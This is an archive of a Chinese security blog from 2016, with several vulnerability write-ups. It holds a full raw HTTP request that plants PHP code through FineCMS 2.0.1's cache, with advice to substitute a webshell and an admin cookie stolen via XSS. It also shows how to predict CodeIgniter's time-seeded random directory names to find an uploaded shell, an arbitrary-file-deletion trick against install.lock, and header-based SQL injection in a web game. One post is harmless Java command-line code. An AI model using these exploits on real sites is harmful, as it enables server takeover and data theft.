2016年7月

Finecms 2.0.1后台GETSHELL 0DAY

FineCMS有一个缓存功能,和当初Wordpress一样,有一个缓存功能,并且缓存的文件名不是随机的并且后缀是php,就导致了可以利用后台缓存功能来getshell。

下面是Payload

POST /index.php?s=admin&c=category&a=edit&catid=13 HTTP/1.1
Host: finecms2.0.1
Content-Length: 813
Cache-Control: max-age=0
Origin: http://finecms2.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://finecms2.0.1/index.php?s=admin&c=category&a=edit&catid=13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: finecms_b1bf4_member_id=1; finecms_b1bf4_member_code=5bd1ebd88ad1c863ecc2; cod=10; csd=13; finecms_b1bf4_ci_session=a%3A7%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%221f2b4dc45dd971bb0cd46febe32f5967%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_11_5%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F51.0.2704.106+Safari%2F537.3%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1468985849%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22error_admin_login%22%3Bi%3A5%3Bs%3A7%3A%22user_id%22%3Bs%3A1%3A%221%22%3B%7D0edaafa3cae30c09ebb401c1ff2d76dd80c0ec91
Connection: close

catid=13&typeid=2&data%5Bparentid%5D=10&data%5Bcatname%5D=123&data%5Bcatdir%5D=123&setting%5Bdocument%5D=&data%5Bimage%5D=&data%5Bismenu%5D=1&data%5Burlpath%5D=&abc=10&data%5Bpagesize%5D=20&data%5Bcategorytpl%5D=&data%5Blisttpl%5D=&data%5Bshowtpl%5D=page.html&data%5Bmeta_title%5D=&data%5Bmeta_keywords%5D=&data%5Bmeta_description%5D=&setting%5Bverifypost%5D=0&setting%5Badminpost%5D=0&setting%5Bmemberpost%5D=0&setting%5Bguestpost%5D=0&setting%5Bguestpost%5D=&setting%5Burl%5D%5Buse%5D=0&setting%5Burl%5D%5Btohtml%5D=0&setting%5Burl%5D%5Bhtmldir%5D=html&setting%5Burl%5D%5Blist%5D=&setting%5Burl%5D%5Blist_page%5D=&setting%5Burl%5D%5Bshow%5D=&setting%5Burl%5D%5Bshow_page%5D=&setting%5Burl%5D%5Bcatjoin%5D=%2F&submit=%E6%8F%90%E4%BA%A4&data%5Bcontent%5D=%3Cp%3E%0D%0A%09"}//%0D
<?php phpinfo();?>
%0D//{"%3C%2Fp%3E

把phpinfo();换成一句话,cookie换成XSS打到的管理员的就好。

CodeIgniter伪随机数导致加密失效

首先来看一段CI内核在开启session储存在数据库选项的时候的操作.也就是

/system/core/config.php

内核配置文件设置为以下的时候

$config['sess_use_database'] = true;

/system/libraries/Session/session.php

public function __construct($params = array())

    {

        log_message('debug', "Session Class Initialized");



        // Set the super object to a local variable for use throughout the class

        $this->CI =& get_instance();

        /*

        if (defined('ci_session')) {

            return $this->CI->session;

        } else {

            define('ci_session', 1);

        }

        */

        // Set all the session preferences, which can either be set

        // manually via the $params array above or via the config file



        foreach (array('sess_encrypt_cookie', 'sess_use_database', 'sess_table_name', 'sess_expiration', 'sess_expire_on_close', 'sess_match_ip', 'sess_match_useragent', 'sess_cookie_name', 'cookie_path', 'cookie_domain', 'cookie_secure', 'sess_time_to_update', 'time_reference', 'cookie_prefix', 'encryption_key') as $key)

        {

            $this->$key = (isset($params[$key])) ? $params[$key] : $this->CI->config->item($key);

        }



        if ($this->encryption_key == '')

        {

            $this->encryption_key == 'finecms190';

        }



        // Load the string helper so we can use the strip_slashes() function

        $this->CI->load->helper('string');



        // Do we need encryption? If so, load the encryption class

        if ($this->sess_encrypt_cookie == TRUE)

        {

            $this->CI->load->library('encrypt');

        }



        // Are we using a database?  If so, load it

        if ($this->sess_use_database === TRUE AND $this->sess_table_name != '')

        {

            $this->CI->load->database();

        }



        // Set the "now" time.  Can either be GMT or server time, based on the

        // config prefs.  We use this to set the "last activity" time

        $this->now = $this->_get_time();



        // Set the session length. If the session expiration is

        // set to zero we'll set the expiration two years from now.

        if ($this->sess_expiration == 0)

        {

            $this->sess_expiration = (60*60*24*365*2);

        }



        // Set the cookie name

        $this->sess_cookie_name = $this->cookie_prefix.$this->sess_cookie_name;



        // Run the Session routine. If a session doesn't exist we'll

        // create a new one.  If it does, we'll update it.

        if ( ! $this->sess_read())

        {

            $this->sess_create();

        }

        else

        {

            $this->sess_update();

        }



        // Delete 'old' flashdata (from last request)

        $this->_flashdata_sweep();



        // Mark all new flashdata as old (data will be deleted before next request)

        $this->_flashdata_mark();



        // Delete expired sessions if necessary

        $this->_sess_gc();



        log_message('debug', "Session routines successfully run");

    }

简单的用大白话来说,这段代码就是用来做一些对Session 的初始工作,检测配置,检测cookie是否设置等,检测配置最后有这个函数_sess_gc().这是每次请求的时候都会运行到的。

function _sess_gc()

    {

        if ($this->sess_use_database != TRUE)

        {

            return;

        }

        srand(time());

        if ((rand() % 100) < $this->gc_probability)

        {

            $expire = $this->now - $this->sess_expiration;



            $this->CI->db->where("last_activity < {$expire}");

            $this->CI->db->delete($this->sess_table_name);



            log_message('debug', 'Session garbage collection performed.');

        }

    }

可以看到这里首先检测了是否开启了数据库储存session,如果开启就会以当前的时间设置一个种子。大家可能觉得没有什么问题

首先我先介绍一下一个特性,我们在发送HTTP给PHP-CGI的时候

85D4315C-97CC-4B00-8857-BCD997B78171.png

这个请求对应的返回的时间戳,是php先生成的。

假如当前是 10:00

php代码是

echo "start";

sleep(5);

//Insert some code.

echo "pause";

sleep(10)

大家可能觉得返回的时间戳是请求接受到的时间+处理的时间。10:15

实际上应该就是请求接收到的时间。

为什么我要说这个呢?

因为CI的框架本身代码执行时间就是等于返回的时间戳的时间。所以在运行到

srand(time());

时候这里的time()就等于返回的时间戳。

当种子设置为时间戳之后,之后所有的基于PRNG的函数全部变的可计算了。

举个例子:

FineCMS2.0.1有一个文件解压getshell漏洞

详情可以看

/bugs/wooyun-2010-064128

这篇文章。

官方的修复方案是将目录名称随机

$temp = APP_ROOT.'cache/attack/'.md5(uniqid().rand(0, 9999)).'/'

让攻击者不可猜测,从而即使攻击者上传了shell之后,也找不到执行的目录。

假设开启了数据库储存session选项之后。那么即使官方用了两个随机函数,一个加密函数,都变辣鸡。

我们先来看uniqid()的php的内核源码

PHP_FUNCTION(uniqid)

{

    char *prefix = "";

#if defined(__CYGWIN__)

    zend_bool more_entropy = 1;

#else

    zend_bool more_entropy = 0;

#endif

    char *uniqid;

    int sec, usec, prefix_len = 0;

    struct timeval tv;



    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sb", &prefix, &prefix_len,

                              &more_entropy)) {

        return;

    }



#if HAVE_USLEEP && !defined(PHP_WIN32)

    if (!more_entropy) {

#if defined(__CYGWIN__)

        php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must use 'more entropy' under CYGWIN");

        RETURN_FALSE;

#else

        usleep(1);

#endif

    }

#endif

    gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);

    sec = (int) tv.tv_sec;

    usec = (int) (tv.tv_usec % 0x100000);



    /* The max value usec can have is 0xF423F, so we use only five hex

     * digits for usecs.

     */

    if (more_entropy) {

        spprintf(&uniqid, 0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg(TSRMLS_C) * 10);

    } else {

        spprintf(&uniqid, 0, "%s%08x%05x", prefix, sec, usec);

    }



    RETURN_STRING(uniqid, 0);

}

#endif

/* }}} */

可以看到uniqid()在默认情况下会生成13位"随机"数字,实际上就是将当前的时间戳变为16进制,8位秒以上的16进制+5位微秒时间戳而已。呵呵没错,又是时间戳。

那么这时候就会变成,13位里面我们可以确定8位,剩下5位是我们不可见的。

然后rand()的值,我们知道了种子,可以列出到达这里的rand()的随机值[根据rand()调用的次数]

那么md5(uniqid().rand(0,9999))

这个加密方法,实际上就变成了跑5位数0-F字典的问题了。

如果说框架没有问题,想跑出来这个这个目录个人电脑要进行上亿次的请求,这几乎不可能。但是当框架帮我们固定了随机数种子之后,一切都变得so easy。

同理如果cookie生成,csrf生成用到了rand()函数,全部都会被击溃。

千里之堤,溃于蚁穴。

攻击者发送请求
85D4315C-97CC-4B00-8857-BCD997B78171.png

根据服务器返回的时间,转为时间戳
E51B8868-12C2-405F-8ED5-05F26BBEF52D.png

根据时间戳计算加密过后的目录

1CD3FE40-8187-4BFD-A37C-E3D5256C97F3.png

服务器上攻击者攻击之后生成的目录

F50ED45C-F8E9-447A-9ED2-49CBE8DCE5EF.png

挖某CMS任意文件删除碰到文件路径问题

在挖某CMS漏洞的时候,挖到了一个API函数可以删除文件,想着可以调用这个API来删除install.lock文件,进行初始化,进管理员后台再getshell。
但是遇到了一个问题,调用这个API的时候,我传入的是绝对路径的话,文件是可以删除掉的,但是如果我传入了一个相对路径的话,却无法删除那个文件。
我一度以为是我写错了文件的路径。
经过检查,最后发现了原来是没有注意到是应该采用活动目录来构造目录。

举个例子:

假设有那么个文件目录结构:

src/A.php
    |
    |dir2/subdir/B.php
    |
    |dir3/flag.txt

A代码:

<?php
define('SITE_PATH', getcwd() . '/');
require SITE_PATH . 'dir2/subdir/B.php';

B代码:

<?php
@unlink($_GET['FilePath']);
echo "\r\ndelete ." . $_GET['FilePath'];

假设我们想要删除flag.txt这个文件路径到底应该是什么呢?

一般我们都会想../../dir3/flag.txt这个来删除,因为会想unlink函数在B.php里面,肯定是以B.php为基点,再运用相对路径去删除文件,实际上的话这是不对的。

里面涉及到当前工作目录和是当前文件目录的区别,当前工作目录可以使用getcwd()函数来获取,而当前文件目录就不多解释了,上面的代码应该用当前文件目录去删除。

所以上面的代码应该使用A.php?FilePath=dir3/flag.txt去删除,而不应该使用../../dir3/flag.txt去删除。

Java命令行配置加载模块

最近在用Java,写了一个动态从xml中加载命令行提示,支持多语言的模块

package com.common;

import org.apache.commons.cli.*;
import org.dom4j.io.SAXReader;

import java.io.*;
import java.util.Iterator;
import java.util.List;

/**
 * Created by LonelyRain on 16/7/12.
 */

public class ParseCommand {
    static Options optionList;

    public static CommandLine ParseOption(String[] args) {

        Options options = new Options();
        CommandLine UserCommand = null;
        try {
            //根据args对比XML内的命令
            UserCommand = ProgramOptionList.loading(options, args);
        } catch (Exception error) {
            System.err.println("Error:\r\n\t==>" + error.getMessage());
            System.exit(0);
        }
        return UserCommand;
    }

    public static void help() throws Exception {
        String ProgramName = "";
        //创建解析器

        InputStream inputFile = Thread.currentThread().getContextClassLoader().getResourceAsStream("xml/CommandList.xml");
        SAXReader reader = new SAXReader();
        org.dom4j.Document document = reader.read(inputFile);

        //获取根
        org.dom4j.Element root = document.getRootElement();
        ProgramName = root.attributeValue("name");
        HelpFormatter hf = new HelpFormatter();
        hf.printHelp(ProgramName, optionList);

    }


    public static class ProgramOptionList {
        static CommandLine CommandList;


        public static CommandLine loading(Options defaultOptions, String[] args) throws Exception {
            CommandLineParser CommandParser = new DefaultParser();
            __loadConfigFile(defaultOptions, "en");
            CommandLine UserCommand = CommandParser.parse(defaultOptions, args);
            optionList = defaultOptions;
            if (UserCommand.hasOption("l")) {
                Options otherOptions = new Options();
                __loadConfigFile(otherOptions, UserCommand.getOptionValue("l"));
                optionList = otherOptions;
            }
            CommandList = UserCommand;
            return CommandList;
        }

        private static void __loadConfigFile(Options options, String language) throws Exception {
            //创建解析器
            SAXReader reader = new SAXReader();

            //读取文档
            File inputFile = new File("/Users/SilverRat/开发/java/DomainSearcher/src/xml/CommandList.xml");
            org.dom4j.Document document = reader.read(inputFile);

            //获取根
            org.dom4j.Element root = document.getRootElement();

            //获取子节点
            List<org.dom4j.Element> list = root.elements();

            for (org.dom4j.Element e : list) {
                String shortCMD = "";
                String longCMD = "";
                String describetion = "";
                boolean with_args = false;
                for (Iterator s = e.elementIterator(); s.hasNext(); ) {
                    org.dom4j.Element commandInfo = (org.dom4j.Element) s.next();
                    switch (commandInfo.getName()) {
                        case "short":
                            shortCMD = commandInfo.getStringValue();
                            break;
                        case "long":
                            longCMD = commandInfo.getStringValue();
                            break;
                        case "describetion":
                            if (commandInfo.attributeValue("lang").equals(language)) {
                                describetion = commandInfo.getStringValue();
                            }
                            break;
                        case "with_args":
                            with_args = Boolean.parseBoolean(commandInfo.getStringValue());
                            break;
                    }
                }
                options.addOption(shortCMD, longCMD, with_args, describetion);
            }
        }

    }
}

上面的是解析模块
下面的是配置的xml文件

<?xml version="1.0" encoding="utf-8" ?>
<command_list name="DomainSearcher">
    <command id="0">
        <short>h</short>
        <long>help</long>
        <with_args>false</with_args>
        <describetion lang="en">Help Information</describetion>
        <describetion lang="zh">帮助信息</describetion>
    </command>
    <command id="1">
        <short>t</short>
        <long>target</long>
        <with_args>true</with_args>
        <describetion lang="en">Your Target Host/IP</describetion>
        <describetion lang="zh">目标域名/IP</describetion>
    </command>
    <command id="2">
        <short>d</short>
        <long>dict</long>
        <with_args>true</with_args>
        <describetion lang="en">Your Dictionary</describetion>
        <describetion lang="zh">加载字典路径</describetion>
    </command>
    <command id="3">
        <short>l</short>
        <long>language</long>
        <with_args>true</with_args>
        <describetion lang="en">选择程序语言(en / zh)</describetion>
        <describetion lang="zh">Choose Display Language(en / zh)</describetion>
    </command>
</command_list>

下面是运用例子

import ParseCommand.*;
public class DomainSearcher {
    public static void main(String[] args) {
        ParseCommand parsecommand = new ParseCommand();
        parsecommand.Parse(args);
    }

运行效果:
7D40876C-C061-4895-BAE8-EFEBB906607C.png

BCAE6C46-D34C-41FD-89BC-2E273008D235.png

网页游戏《BR大逃杀》一枚小0Day

呵呵,昨晚和初中同学叙旧,两个人无聊找了一款网页游戏BR大逃杀玩,今天把这个网页游戏下下来简单审计了一下源码。

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
set_magic_quotes_runtime(0);
//ini_set('date.timezone','Asia/Shanghai');
$now = time(); 
define('IN_GAME', TRUE);
define('GAME_ROOT', substr(dirname(__FILE__), 0, 0));
define('GAMENAME', 'bra');
if(PHP_VERSION < '4.3.0') {
    exit('PHP version must >= 4.3.0!');
}
require_once GAME_ROOT.'./include/global.func.php';
require_once GAME_ROOT.'./config.inc.php';

extract(gaddslashes($_COOKIE));
extract(gaddslashes($_POST));
extract(gaddslashes($_GET));

if($attackevasive) {
    include_once GAME_ROOT.'./include/security.inc.php';
}

if($gzipcompress && function_exists('ob_gzhandler') && CURSCRIPT != 'wap') {
    ob_start('ob_gzhandler');
} else {
    $gzipcompress = 0;
    ob_start();
}

require_once GAME_ROOT.'./include/db_'.$database.'.class.php';
$db = new dbstuff;
$db->connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
unset($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
$db->select_db($dbname);
require_once GAME_ROOT.'./gamedata/system.php';
if(!$username||!$password){
    gexit($_ERROR['login_info'],__file__,__line__);
}else{
    include_once GAME_ROOT.'./gamedata/system.php';

    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $onlineip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }

    $password = md5($password);
    $groupid = 1;
    $credits = 0;
    $gender = 0;
    $str = "SELECT * FROM {$tablepre}users WHERE username = '$username'";
    $result = $db->query("SELECT * FROM {$tablepre}users WHERE username = '$username'");
    if(!$db->num_rows($result)) {
        $groupid = 1;
        $str = "INSERT INTO {$tablepre}users (username,`password`,groupid,ip,credits,gender) VALUES ('$username', '$password', '$groupid', '$onlineip', '$credits', '$gender')";
        $db->query("INSERT INTO {$tablepre}users (username,`password`,groupid,ip,credits,gender) VALUES ('$username', '$password', '$groupid', '$onlineip', '$credits', '$gender')");
    } else {
        $userdata = $db->fetch_array($result);
        if($userdata['groupid'] <= 0){
            gexit($_ERROR['user_ban'],__file__,__line__);
        } elseif($userdata['password'] != $password) {
            gexit($_ERROR['login_check'],__file__,__line__);
        } else {

        }
    }
    gsetcookie('user',$username);
    gsetcookie('pass',$password);
}

Header("Location: index.php");
exit();

?>

以上这些是login.php的源码,程序员从15-17行进行了addslash()操作并且用了extract()函数解压出来,这两个函数都有相关的安全风险。
addslash()函数在数据库为gbk的条件下可以用宽字节注入,extract函数的话可以用数组进行变量覆盖(日常感谢黑哥等老一辈黑阔)

看了一下下面进行sql查询的地方,因为数据库设置的是utf8格式的,所以暂时先放弃了宽字节注入的想法。

接下来我发现下面的insert语句里面需要插入一个ip,根据以往的经验来看,php获取ip一共有3种方式,其中的2种方式都是有问题的。
使用X-Forward-For和HTTP_CLIENT_IP这两种都是客户端可以伪造的。
于是看一下ip是怎么取得的,获取ip的代码是如下:

    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $onlineip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }

个人觉得程序猿没有注意到获取顺序,应该是$_SERVER['REMOTE_ADDR']放在判断语句的第一个,不然就不会有下面的问题了。
上面那串代码获取了$onlineip,但要注意到$onlineip是从$_SERVER这个php的超全局变量获取的。程序开头只addslash了3个超全局变量,忽略了这个,所以下面insert语句是可以注入的。
所以接下来就可以用报错注入来注入了。
F93EDEF9-CC09-479E-81F9-B5F70267FC74.png
66FF604A-1512-40CD-8858-E74C5ECA32CD.png